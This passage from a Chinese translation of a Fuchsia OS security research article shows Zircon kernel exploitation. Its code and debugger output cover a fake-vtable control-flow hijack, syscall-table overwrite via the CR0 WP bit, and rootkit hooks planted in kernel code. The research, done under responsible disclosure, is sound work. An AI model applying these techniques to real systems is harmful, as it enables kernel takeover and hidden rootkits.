[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1[0.197] 00000:01029> Free memory after kernel init: 8424374272 bytes.[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1[0.200] 00000:01029> userboot: ramdisk       0x18c5000 @ 0xffffff8003bdd000[0.201] 00000:01029> userboot: userboot rodata       0 @ [0x2ca730e3000,0x2ca730e9000)[0.201] 00000:01029> userboot: userboot code    0x6000 @ [0x2ca730e9000,0x2ca73100000)[0.201] 00000:01029> userboot: vdso/next rodata       0 @ [0x2ca73100000,0x2ca73108000)

Boot #2:

[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1[0.194] 00000:01029> Free memory after kernel init: 8424361984 bytes.[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1[0.194] 00000:01029> userboot: ramdisk       0x18c5000 @ 0xffffff8003bdd000[0.198] 00000:01029> userboot: userboot rodata       0 @ [0x2bc8b83c000,0x2bc8b842000)[0.198] 00000:01029> userboot: userboot code    0x6000 @ [0x2bc8b842000,0x2bc8b859000)[0.198] 00000:01029> userboot: vdso/next rodata       0 @ [0x2bc8b859000,0x2bc8b861000)

内核指针是一样的。Zircon KASLR 不起作用。我在 Fuchsia 的 bug 追踪器中提交了一个安全问题(禁用 Markdown 模式才能正确看到)。Fuchsia 的维护者回答说这个问题他们已经知道了。

Fuchsia OS 的实验性比我想象的要强。

Zircon 中的 C++ vtables

在我意识到 Fuchsia 的内核函数有固定地址之后,我开始研究 Zircon C++ 对象的 vtables。我想,构造一个假的 vtable 可以实现控制流劫持。

正如我所提到的,指向相应 vtable 的指针被存储在对象的开头。这是 GDB 为 TimerDispatcher 对象显示的内容:

(gdb) info vtbl *(TimerDispatcher *)0xffffff802c5ae768vtable for 'TimerDispatcher' @ 0xffffffff003bd11c (subobject @ 0xffffff802c5ae768):[0]: 0xffdffe64ffdffd24[1]: 0xffdcb5a4ffe00454[2]: 0xffdffea4ffdc7824[3]: 0xffd604c4ffd519f4...

像 0xffdcb5a4ffe00454 这样的奇怪值肯定不是内核地址。我看了一下与 TimerDispatcher vtable 一起工作的代码:

// Dispatcher -> FooDispatchertemplate <typename T>fbl::RefPtr<T> DownCastDispatcher(fbl::RefPtr<Dispatcher>* disp) {  return (likely(DispatchTag<T>::ID == (*disp)->get_type()))             ? fbl::RefPtr<T>::Downcast(ktl::move(*disp))             : nullptr;}

这个高级别的 C++ 噩梦变成了下面的简单汇编:

  mov    rax,QWORD PTR [r13+0x0]  movsxd r11,DWORD PTR [rax+0x8]  add    r11,rax  mov    rdi,r13  call   0xffffffff0031a77c <__x86_indirect_thunk_r11>

这里的 r13 寄存器存储了 TimerDispatcher 对象的地址。vtable 指针位于该对象的开头。所以在第一条 mov 指令之后,rax 寄存器存储了 vtable 本身的地址。然后 movsxd 指令将 vtable 中的值 0xffdcb5a4ffe00454 移动到 r11 寄存器中。但是 movsxd 也将这个值从 32 位的源头扩展到 64 位的目的地。所以 0xffdcb5a4ffe00454 变成了 0xffffffffffe00454。然后 vtable 地址被加到 r11 的这个值上,这就形成了 TimerDispatcher 方法的地址:

(gdb) x $r110xffffffff001bd570 <_ZNK15TimerDispatcher8get_typeEv>:  0x000016b8e5894855
为获胜而伪造的 vtable

尽管 Zircon vtables 中存在这种奇怪的指针计算方法,我还是决定制作一个假的 TimerDispatcher 对象 vtable 来劫持内核控制流。这让我想到了将我的假 vtable 放在哪里的问题。最简单的方法是在用户空间创建它。然而,x86_64 上的 Zircon 支持 SMAP(Supervisor Mode Access Prevention),它阻止从内核空间访问用户空间的数据。

在我的 Linux 内核防御图中,你可以看到 SMAP 在 Linux 内核中控制流劫持攻击的各种缓解措施中。我看到有多种方法可以通过在内核空间放置假 vtable 来绕过 SMAP 保护。

例如,Zircon 也像 Linux 内核一样有 physmap,这使得 Zircon 的 ret2dir 攻击的想法非常有希望。

另一个想法是使用某个内核地址的内核日志信息泄露,该地址指向攻击者控制的数据。

但为了简化我对 Fuchsia 的第一次安全实验,我决定在启动 QEMU 的脚本中禁用 SMAP 和 SMEP,并在用户空间创建我的漏洞中的假 vtable。

#define VTABLE_SZ 16unsigned long fake_vtable[VTABLE_SZ] = { 0 }; // global array

然后我让漏洞利用这个假的 vtable 在堆中喷出数据,覆盖 TimerDispatcher 对象:

#define DATA_SZ 512  unsigned char spray_data[DATA_SZ] = { 0 };  unsigned long **vtable_ptr = (unsigned long **)&spray_data[0];
// Control-flow hijacking in DownCastDispatcher(): // mov rax,QWORD PTR [r13+0x0] // movsxd r11,DWORD PTR [rax+0x8] // add r11,rax // mov rdi,r13 // call 0xffffffff0031a77c <__x86_indirect_thunk_r11>
*vtable_ptr = &fake_vtable[0]; // address in rax fake_vtable[1] = (unsigned long)pwn - (unsigned long)*vtable_ptr; // value for DWORD PTR [rax+0x8]

这看起来很棘手,但不要害怕,你会喜欢它的!

这里 spray_data 数组存储了 zx_fifo_write() 覆盖 TimerDispatcher 的数据。vtable 指针位于 TimerDispatcher 对象的开头,所以 vtable_ptr 被 spray_data[0] 的地址所初始化。然后 fake_vtable 全局数组的地址被写入 spray_data 的开头。这个地址将出现在 DownCastDispatcher() 的 rax 寄存器中,我在上面描述过。fake_vtable[1] 元素(或 DWORD PTR [rax+0x8])应该存储用于计算 TimerDispatcher.get_type() 方法的函数指针的值。为了计算这个值,我从我的 pwn() 函数的地址中减去假 vtable 的地址,我将用它来攻击 Zircon 内核。

这就是在执行漏洞时发生在地址上的魔法。真实的例子:

1.fake_vtable 数组在 0x35aa74aa020,pwn() 函数在 0x35aa74a80e0

2.fake_vtable[1] 是 0x35aa74a80e0 - 0x35aa74aa020 = 0xffffffffffffe0c0。在 DownCastDispatcher() 中,这个值出现在 DWORD PTR [rax+0x8] 中

3.在 Zircon 执行 movsxd r11, DWORD PTR [rax+0x8] 后,r11 寄存器存储了 0xffffffffffe0c0

4.将带有 0x35aa74aa020 的 rax 添加到 r11,得到 0x35aa74a80e0,这就是 pwn() 的确切地址

5.所以当 Zircon 调用 __x86_indirect_thunk_r11 时,控制流就会进入漏洞的 pwn() 函数。

在 Fuchsia 中要黑什么?
在实现了 Zircon 内核空间的任意代码执行后,我开始考虑用它来攻击什么。我的第一个想法是伪造一个假的 ZX_RSRC_KIND_ROOT 超能力资源,我之前在 zx_debuglog_create() 中看到过。但我没能利用 ZX_RSRC_KIND_ROOT 设计出特权升级,因为在 Fuchsia 的源代码中,这个资源用得不多。


由于知道 Zircon 是一个微内核,我意识到特权升级需要攻击通过微内核进行的进程间通信(IPC)。换句话说,我需要在 Zircon 中使用任意代码执行来劫持 Fuchsia 用户空间组件之间的 IPC,例如,在我的非特权开发组件和一些特权实体(如组件管理器)之间。

我又回到了研究 Fuchsia 用户空间的过程中,这很混乱,也很无聊……但我突然有了一个想法:

在 Zircon 中植入一个 rootkit 怎么样?这看起来有趣多了,于是我转而研究 Zircon 系统调用的工作原理。
Fuchsia 系统调用

文档中简要介绍了 Fuchsia 系统调用的生命周期。像 Linux 内核一样,Zircon 也有一个系统调用表。在 x86_64 上,Zircon 在 fuchsia/zircon/kernel/arch/x86/syscall.S 中定义了 x86_syscall() 函数,其代码如下(我去掉了注释):

    cmp     $ZX_SYS_COUNT, %rax    jae     .Lunknown_syscall    leaq    .Lcall_wrapper_table(%rip), %r11    movq    (%r11,%rax,8), %r11    lfence    jmp     *%r11

下面是这段代码在调试器中的样子:

   0xffffffff00306fc8 <+56>:  cmp    rax,0xb0   0xffffffff00306fce <+62>:  jae    0xffffffff00306fe1 <x86_syscall+81>   0xffffffff00306fd0 <+64>:  lea    r11,[rip+0xbda21]        # 0xffffffff003c49f8   0xffffffff00306fd7 <+71>:  mov    r11,QWORD PTR [r11+rax*8]   0xffffffff00306fdb <+75>:  lfence    0xffffffff00306fde <+78>:  jmp    r11

啊哈,它显示系统调用表在 0xffffff003c49f8。让我们看看内容:

(gdb) x/10xg 0xffffffff003c49f80xffffffff003c49f8:  0xffffffff00307040  0xffffffff003070500xffffffff003c4a08:  0xffffffff00307070  0xffffffff003070800xffffffff003c4a18:  0xffffffff00307090  0xffffffff003070b00xffffffff003c4a28:  0xffffffff003070d0  0xffffffff003070f00xffffffff003c4a38:  0xffffffff00307110  0xffffffff00307130
$ disassemble 0xffffffff00307040Dump of assembler code for function x86_syscall_call_bti_create: 0xffffffff00307040 <+0>: mov r8,rcx 0xffffffff00307043 <+3>: mov rcx,r10

这里系统调用表中的第一个地址 0xffffff00307040 指向 x86_syscall_call_bti_create()函数。它是系统调用编号为 0,在 gen/zircon/vdso/include/lib/syscalls/ 目录下自动生成的文件 kernel-wrappers.inc 中定义。而那里的最后一个系统调用是 x86_syscall_call_vmo_create_physical(),位于 0xffffff00307d10,是 175 号(见 ZX_SYS_COUNT 定义为 176)。显示了整个 syscall 表,再加上一点:

(gdb) x/178xg 0xffffffff003c49f80xffffffff003c49f8:  0xffffffff00307040  0xffffffff003070500xffffffff003c4a08:  0xffffffff00307070  0xffffffff003070800xffffffff003c4a18:  0xffffffff00307090  0xffffffff003070b0...0xffffffff003c4f58:  0xffffffff00307ce0  0xffffffff00307cf00xffffffff003c4f68:  0xffffffff00307d00  0xffffffff00307d100xffffffff003c4f78 <_ZN6cpu_idL21kTestDataCorei5_6260UE>:  0x0300010300000300  0x0004030003030002

是的,最后一个系统调用的函数指针 0xffffffff00307d10 就在系统调用表的末端。这些知识对于我的 rootkit 实验来说已经足够了。

在 Zircon 中植入一个 rootkit

作为第一个实验,我在 pwn() 函数中用 0x41 重写了整个系统调用表。正如我提到的,这个函数的执行是 Zircon 中控制流劫持的结果。为了覆盖只读的系统调用表,我使用了老派的经典方法,即改变 CR0 寄存器中的 WP 位:

#define SYSCALL_TABLE 0xffffffff003c49f8#define SYSCALL_COUNT 176
int pwn(void){ unsigned long cr0_value = read_cr0();
cr0_value = cr0_value & (~0x10000); // Set WP flag to 0
write_cr0(cr0_value);
memset((void *)SYSCALL_TABLE, 0x41, sizeof(unsigned long) * SYSCALL_COUNT);}

CR0 助手:

void write_cr0(unsigned long value){  __asm__ volatile("mov %0, %%cr0" : : "r"(value));}
unsigned long read_cr0(void){ unsigned long value; __asm__ volatile("mov %%cr0, %0" : "=r"(value)); return value;}

结果:

(gdb) x/178xg 0xffffffff003c49f80xffffffff003c49f8:  0x4141414141414141  0x41414141414141410xffffffff003c4a08:  0x4141414141414141  0x41414141414141410xffffffff003c4a18:  0x4141414141414141  0x4141414141414141...0xffffffff003c4f58:  0x4141414141414141  0x41414141414141410xffffffff003c4f68:  0x4141414141414141  0x41414141414141410xffffffff003c4f78 <_ZN6cpu_idL21kTestDataCorei5_6260UE>:  0x0300010300000300  0x0004030003030002

很好。然后我开始考虑如何劫持 Zircon 的系统调用。类似于 Linux 内核 rootkits 的做法是不可能的:通常的 Linux rootkit 是一个内核模块,在内核空间提供钩子作为特定模块的功能。但在我的案例中,我试图将用户空间的 rootkit 植入微内核中。把 rootkit 的钩子作为用户空间的函数在利用进程的上下文中实现是行不通的。

所以我决定把 Zircon 的一些内核代码变成我的 rootkit 钩子。我的第一个覆盖对象是 assert_fail_msg() 函数,它在漏洞开发过程中让我很头疼。这个函数足够大,所以我有很多空间来放置我的钩子有效负载。

我用 C 语言编写了 zx_process_create() 系统调用的 rootkit 钩子,但不喜欢编译器生成的钩子汇编。所以我用 asm 重新实现了它。让我们看一下代码,我喜欢这部分:

#define XSTR(A) STR(A)#define STR(A) #A
#define ZIRCON_ASSERT_FAIL_MSG 0xffffffff001012e0#define HOOK_CODE_SIZE 60#define ZIRCON_PRINTF 0xffffffff0010fa20#define ZIRCON_X86_SYSCALL_CALL_PROCESS_CREATE 0xffffffff003077c0
void process_create_hook(void){ __asm__ ( "push %rax;" "push %rdi;" "push %rsi;" "push %rdx;" "push %rcx;" "push %r8;" "push %r9;" "push %r10;" "xor %al, %al;" "mov $" XSTR(ZIRCON_ASSERT_FAIL_MSG + 1 + HOOK_CODE_SIZE) ",%rdi;" "mov $" XSTR(ZIRCON_PRINTF) ",%r11;" "callq *%r11;" "pop %r10;" "pop %r9;" "pop %r8;" "pop %rcx;" "pop %rdx;" "pop %rsi;" "pop %rdi;" "pop %rax;" "mov $" XSTR(ZIRCON_X86_SYSCALL_CALL_PROCESS_CREATE) ",%r11;" "jmpq *%r11;");}

1.这个钩子保存了(推到栈)所有的寄存器,这些寄存器可能会被后续的函数调用所破坏。

2.然后我准备并调用 Zircon 的 printf() 内核函数。

1.这个函数的第一个参数是通过 rdi 寄存器提供的。它存储了我想打印到内核日志的字符串的地址。这方面的更多细节将在后面介绍。STR 和 XSTR 宏的技巧被用于字符串化;你可以在 GCC 文档中读到它。

2.零 al 表示没有向量参数被传递给这个参数数量可变的函数。

3.r11 寄存器存储了 Zircon printf() 函数的地址,它是由 callq *%r11 指令调用的。

3.在调用内核 printf() 后,被钩住的寄存器被恢复。

4.最后,钩子跳到原来的系统调用 zx_process_create()。

现在是最有趣的部分:植入 rootkit。pwn() 函数将钩子的代码从利用二进制文件复制到 assert_fail_msg() 地址处的 Zircon 内核代码中。

#define ZIRCON_ASSERT_FAIL_MSG 0xffffffff001012e0#define HOOK_CODE_OFFSET 4#define HOOK_CODE_SIZE 60
char *hook_addr = (char *)ZIRCON_ASSERT_FAIL_MSG; hook_addr[0] = 0xc3; // ret to avoid assert hook_addr++; memcpy(hook_addr, (char *)process_create_hook + HOOK_CODE_OFFSET, HOOK_CODE_SIZE); hook_addr += HOOK_CODE_SIZE; const char *pwn_msg = "ROOTKIT HOOK: syscall 102 process_create()n"; strncpy(hook_addr, pwn_msg, strlen(pwn_msg) + 1);
#define SYSCALL_N_PROCESS_CREATE 102#define SYSCALL_TABLE 0xffffffff003c49f8
unsigned long *syscall_table_item = (unsigned long *)SYSCALL_TABLE; syscall_table_item[SYSCALL_N_PROCESS_CREATE] = (unsigned long)ZIRCON_ASSERT_FAIL_MSG + 1; // after ret
return 42; // don't pass the type check in DownCastDispatcher

1.hook_addr 被初始化为 assert_fail_msg() 内核函数的地址。

2.这个函数的第一个字节被覆盖为 0xc3,也就是 ret 指令。我这样做是为了跳过 Zircon 在断言上的崩溃;现在断言处理会立即返回。

3.该漏洞将我的 rootkit 钩子的代码复制到内核空间,用于 zx_process_create() 系统调用。我在上面描述了 process_create_hook()。

4.这个漏洞复制了我想在每个 zx_process_create() 系统调用中打印的信息字符串。钩子将执行 mov $" XSTR(ZIRCON_ASSERT_FAIL_MSG + 1 + HOOK_CODE_SIZE) ",%rdi,这个字符串的地址将进入 rdi。现在你知道为什么我在这个地址上加了 1 个字节了吧:这是为了在 assert_fail_msg() 的开头增加 ret 指令。

5.钩子 ZIRCON_ASSERT_FAIL_MSG + 1 的地址被写入系统调用表,项目编号 102,这是为了 zx_process_create() 系统调用处理程序。

6.最后,pwn() 漏洞函数返回 42。正如我所提到的,Zircon 使用我的假 vtable 并执行这个函数,而不是 TimerDispatcher.get_type() 方法。这个内核对象的原始 get_type() 方法返回 16,以通过类型检查并继续处理。而在这里,我返回 42,表示该检查失败,并完成了 zx_timer_cancel() 系统调用,该调用击中了内存释放后使用。

好了,现在 rootkit 已经被植入 Fuchsia OS 的 Zircon 微内核中了。

漏洞演示

我为 zx_process_exit() 系统调用在 assert_fail() 内核函数的位置上实现了一个类似的 rootkit 钩。所以 rootkit 在进程创建和退出时将信息打印到内核日志中。请看该漏洞演示:

视频地址:https://www.youtube.com/embed/JPg-VHuKQIQ
结    论

这就是我遇到 Fuchsia OS 及其 Zircon 微内核的原因。这项工作对我来说是一次全新的体验。自从我在温哥华举行的 2018 年 Linux 安全峰会上听说了这个有趣的操作系统,我想在这个操作系统上尝试我的内核黑客技术已经很久了。所以我很高兴这项研究。

在这篇文章中,我对 Fuchsia OS、其安全架构和内核开发工作流程进行了概述。我从攻击者的角度评估了它,并分享了我对 Zircon 微内核的漏洞开发实验结果。对于本研究中发现的 Fuchsia 安全问题,我遵循了负责任的披露程序。

这是关于 Fuchsia OS 安全的首批公开研究之一。我相信这篇文章对操作系统安全社区很有帮助,因为它突出了微内核漏洞利用和防御的实际问题。我希望我的工作也能激发你做内核黑客的热情。谢谢你的阅读!

作者简介:

Alexander Popov,2013 年成为 Linux 内核开发人员,关注内核安全。技术博主,专注漏洞发现、利用技术和防御技术。

原文链接:https://a13xp0p0v.github.io/2022/05/24/pwn-fuchsia.html

点击底部 阅读原文 访问 InfoQ 官网,获取更多精彩内容!

今日好文推荐

尤雨溪向 React 推荐自己研发的 Vite,网友:用第三方工具没有任何意义

今天很多 CTO 都是被干掉的,因为他没有成就业务

数字化不是试出来,而是蹚出来的 | 行知数字中国

此情可待成追忆:Java Mac 版的黄金时代

点个在看少个 bug 



网友评论已有0条评论, 我也要评论

发表评论

*

* (保密)

Ctrl+Enter 快捷回复